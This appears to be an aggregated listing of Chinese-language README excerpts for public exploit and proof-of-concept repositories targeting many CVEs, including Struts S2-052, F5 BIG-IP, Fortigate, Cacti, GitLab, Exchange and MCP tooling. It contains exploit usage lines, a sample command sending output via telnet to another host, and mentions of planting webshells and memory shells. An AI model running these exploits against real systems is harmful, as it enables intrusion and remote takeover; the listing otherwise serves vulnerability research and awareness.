CVE-2023-22527

我对任何非法攻击不承担责任 CVE-2023-22527 批量扫描脚本 帮助 usage: python3 CVE-2023-22527.py -u -f -c options: -h, --help show this help message and exit -u TARGET, --target TARGET Target URL -f FILE, --file FILE URL file -c CMD, --cmd CMD Commands to execute -t THREAD, --thread THREAD Number of threads 批量扫描结果保存在...

CVE-2021-44168

CVE-2021-44168 漏洞利用 目的 利用 CVE-2021-44168 在 Fortigate 防火墙上获取一个 shell，并通过 LDPRELOAD 技巧使其在运行某些 Fortigate CLI 命令时执行，从而获得 root shell。 使用 编译： gcc -o gensrc-vispkgfile gensrc-vispkgfile.c -lz 运行： % ./gensrc-vispkgfile ./gensrc-vispkgfile -t | -p filename.img -t 生成测试包，或 -p 生成漏洞利用包。 filename.img 写入此文件。 测试...

-CVE-2017-9805

漏洞信息 资源： https://vulners.com/cve/CVE-2017-9805 这是什么？ 一个Python利用脚本，能够在运行易受S2-052攻击的Struts2系统的shell中执行远程命令。 用法 ╭─root@blackshell / ╰─ python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234" Apache Struts XStream REST vulnerability - S2-052 Creati...

CVE-2022-1388

CVE-2022-1388 Poc:pocsuite -r CVE-2022-1388F5BIG-IPPOCEXP.py -u url Exp:pocsuite -r CVE-2022-1388F5BIG-IPPOCEXP.py -u url --attack --command command 免责声明 此工具仅用于学习、研究和自查。不应将其用于非法目的。使用本工具产生的一切风险与我无关！ 免责声明 此工具仅用于学习、研究和自查。不应将其用于非法目的。使用本工具产生的一切风险与我无关！...

CVE-2026-42271-PoC

CVE-2026-42271 — LiteLLM MCP stdio 测试端点认证命令注入漏洞 LiteLLM POST /mcp-rest/test/connection 和 POST /mcp-rest/test/tools/list — 通过 MCP stdio 传输实现的需认证命令注入。任何有效的 API 密钥都可以以 root 身份（默认 Docker 部署中）执行任意操作系统命令。 镜像已通过 digest 固定 ：存在漏洞的容器固定为 LiteLLM v1.82.6 ，确保长期可复现。 字段| 值 ---|--- CVE| CVE-2026-42271 CVSS v4.0|...

CVE-2022-24112

CVE-2022-24112: Apache APISIX 远程代码执行漏洞 go run apisix-exploit.go -t -c 参考: https://nvd.nist.gov/vuln/detail/CVE-2022-24112 https://lists.apache.org/thread/dzmgf0bwfmt58rfbz611gqo2b56qyqwq...

CVE-2022-22947-

CVE-2022-22947 Spring Cloud Gateway Actuator API SpEL表达式注入命令执行（CVE-2022-22947） 注入哥斯拉内存马 默认key pass base64 注:代码没有清除路由部分自行清除下。。 测试环境：https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md 内存马class https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell...

kernel: nvme-tcp: fix host memory disclosure on R2T for a read command

A flaw was found in the Linux kernel's NVMe Non-Volatile Memory Express over TCP nvme-tcp component. A malicious NVMe controller can exploit this vulnerability by sending a Ready to Transfer R2T command for a read request. The host system, failing to properly validate the request direction, will...

CVE-2015-10141

CVE-2015-10141 Exploit Title: xdebug Unauthenticated Command Execution Exploit Author: D3Ext Vendor Homepage: https://xdebug.org/ Sofware Link: https://pecl.php.net/package/xdebug/2.5.5/windows Version: 2.5.5 Tested on: Kali Linux 2025 CVE: CVE-2015-10141 说明 Xdebug 2.5.5 及更早版本（一个 PHP...

CVE-2020-11651

CVE-2020-11651 SaltStack Salt 在 2019.2.4 之前版本以及 3000 在 3000.2 之前版本中发现了一个问题。salt-master 进程中的 ClearFuncs 类未能正确验证方法调用。这允许远程用户在没有认证的情况下访问某些方法。这些方法可用于从 salt master 检索用户令牌，以及/或者在 salt minions 上执行任意命令。 详情 补丁 适用于不受支持的 salt 版本 安装 git clone https://github.com/0xc0d/CVE-2020-11651.git /CVE-2020-11651 chmod ...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169 Cacti remoteagent.php 未授权命令注入漏洞。 认证绕过 添加 X-Forwarded-For 请求头即可绕过认证，注意其值并非固定值。 暴力枚举 使用 Burp Intruder 对 hostid 和 localdataids 的值进行模糊测试。 远程命令执行 命令注入点位于 pollerid 参数。 GET...

Cisco-IOS-XE-CVE-2023-20198

Cisco-IOS-XE-CVE-2023-20198 针对CVE-2023-20198的利用PoC 漏洞信息和利用用法由smokeintheshell提供（见参考资料） 端点、HTTP内容类型和头部管理已从其他现有PoC修改，以便在其他利用失败的情况下工作。 描述 CVE-2023-20198 的特点是路径验证不当，可绕过Nginx过滤，无需身份验证即可访问 webuiwsmahttp Web端点。 通过绕过该端点的身份验证，攻击者可以执行任意Cisco IOS命令或以Privilege 15权限发出配置更改。...

CVE-2024-20356

CVE-2024-20356 这是 CVE-2024-20356 的概念验证，一个影响思科 CIMC 的命令注入漏洞。 完整技术细节请访问 https://labs.nettitude.com/blog/cve-2024-20356-jailbreaking-a-cisco-appliance-to-run-doom 使用方法 用法: CVE-2024-20356.py -h -t HOST -u USERNAME -p PASSWORD -a ACTION -c CMD -v 选项: -h, --help 显示此帮助信息并退出 -t HOST, --host HOST...

CVE-2024-3400

CVE-2024-3400：操作系统命令注入漏洞 描述： CVE-2024-3400 是一个安全漏洞，影响那些接受用户输入并根据该输入执行操作系统命令，但缺乏充分验证的应用程序或服务。此漏洞允许攻击者通过接收到的输入注入恶意或破坏性的操作系统命令，可能导致系统被利用、数据被篡改，甚至完全控制易受攻击的系统。 更多信息和更新，请参考 CVE-2024-3400。 注意 请等待响应结果。响应需要相当长的时间...

CVE-2019-11539

CVE-2019-11539 原始发现者：Orange Tsai, Meh Chang 作者：Justin Wagner, Alyssa Herrera 致谢：Orange, Meh Chang, Rich Warren, Alyssa, Mimir 漏洞描述 在 Pulse Secure Pulse Connect Secure 版本 9.0RX（9.0R3.4 之前）、8.3RX（8.3R7.1 之前）、8.2RX（8.2R12.1 之前）和 8.1RX（8.1R15.1 之前），以及 Pulse Policy Secure 版本 9.0RX（9.0R3.2...

CVE-2020-17144-EXP

CVE-2020-17144-EXP 条件: Exchange2010; 普通用户 默认用法写webshell: CVE-2020-17144-EXP.exe mail.example.com user pass 执行命令 & 端口复用: 修改ExploitClass.cs 参考 @zcgonvh...

CVE-2021-22205

漏洞影响 发现GitLab CE/EE从11.9版本起存在一个漏洞。GitLab未正确验证传递给文件解析器的图像文件，导致远程命令执行。 漏洞产品 Gitlab CE/EE /tmp/1.txt" !attackcommand1https://assets.kitploit.com/production/public/readmes/15112/49b6...

Laravel-CVE-2021-3129

Laravel-CVE-2021-3129 CVE-2021-3129 描述 整合https://github.com/zhzyker/CVE-2021-3129 、https://github.com/SNCKER/CVE-2021-3129 ，本项目拥有以下优点： 保留自定义命令功能 新增利用成功自动退出功能，提高效率 保持了11条利用链 新增更多的escapedchars，并对命令使用括号处理，减少命令无法执行的概率 安装 pip install -r requirements.txt 用法 Exp.py -h -t 127.0.0.1 -p 80 -c whoami...

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2 当 /api/mcp/connect 端点默认监听所有网络接口（0.0.0.0）且未能正确清理用户提供的传入 serverConfig JSON 对象中 command 和 args 参数的输入时，MCPJam Inspector 3. 启动漏洞利用 python3 CVE-2026-23744.py -u -i -p 4. 为了更好的使用体验，建议将终端升级为全功能终端，否则无法使用像 ctrl^c 这样的命令。 示例 仅限在受控环境中使用此漏洞利用程序 ⚠️自行承担使用风险⚠️...

CVE-2026-23744-RCE

MCPJam Inspector v1.4.2 - RCE 漏洞利用 漏洞描述 MCPJam Inspector 在 /api/mcp/connect 端点存在一个未经验证的远程代码执行（RCE）漏洞。攻击者可以通过发送恶意的 MCP 服务器配置载荷来执行任意命令。 该端点接受一个包含 serverConfig 对象的 JSON 载荷，其中包含 command 和 args 数组，这些内容会在系统上直接执行，未经过适当的验证或清理。 受影响版本 MCPJam Inspector v1.4.2 以及可能更早的版本 使用方法 先决条件 Python 3.6+ requests 库：pip...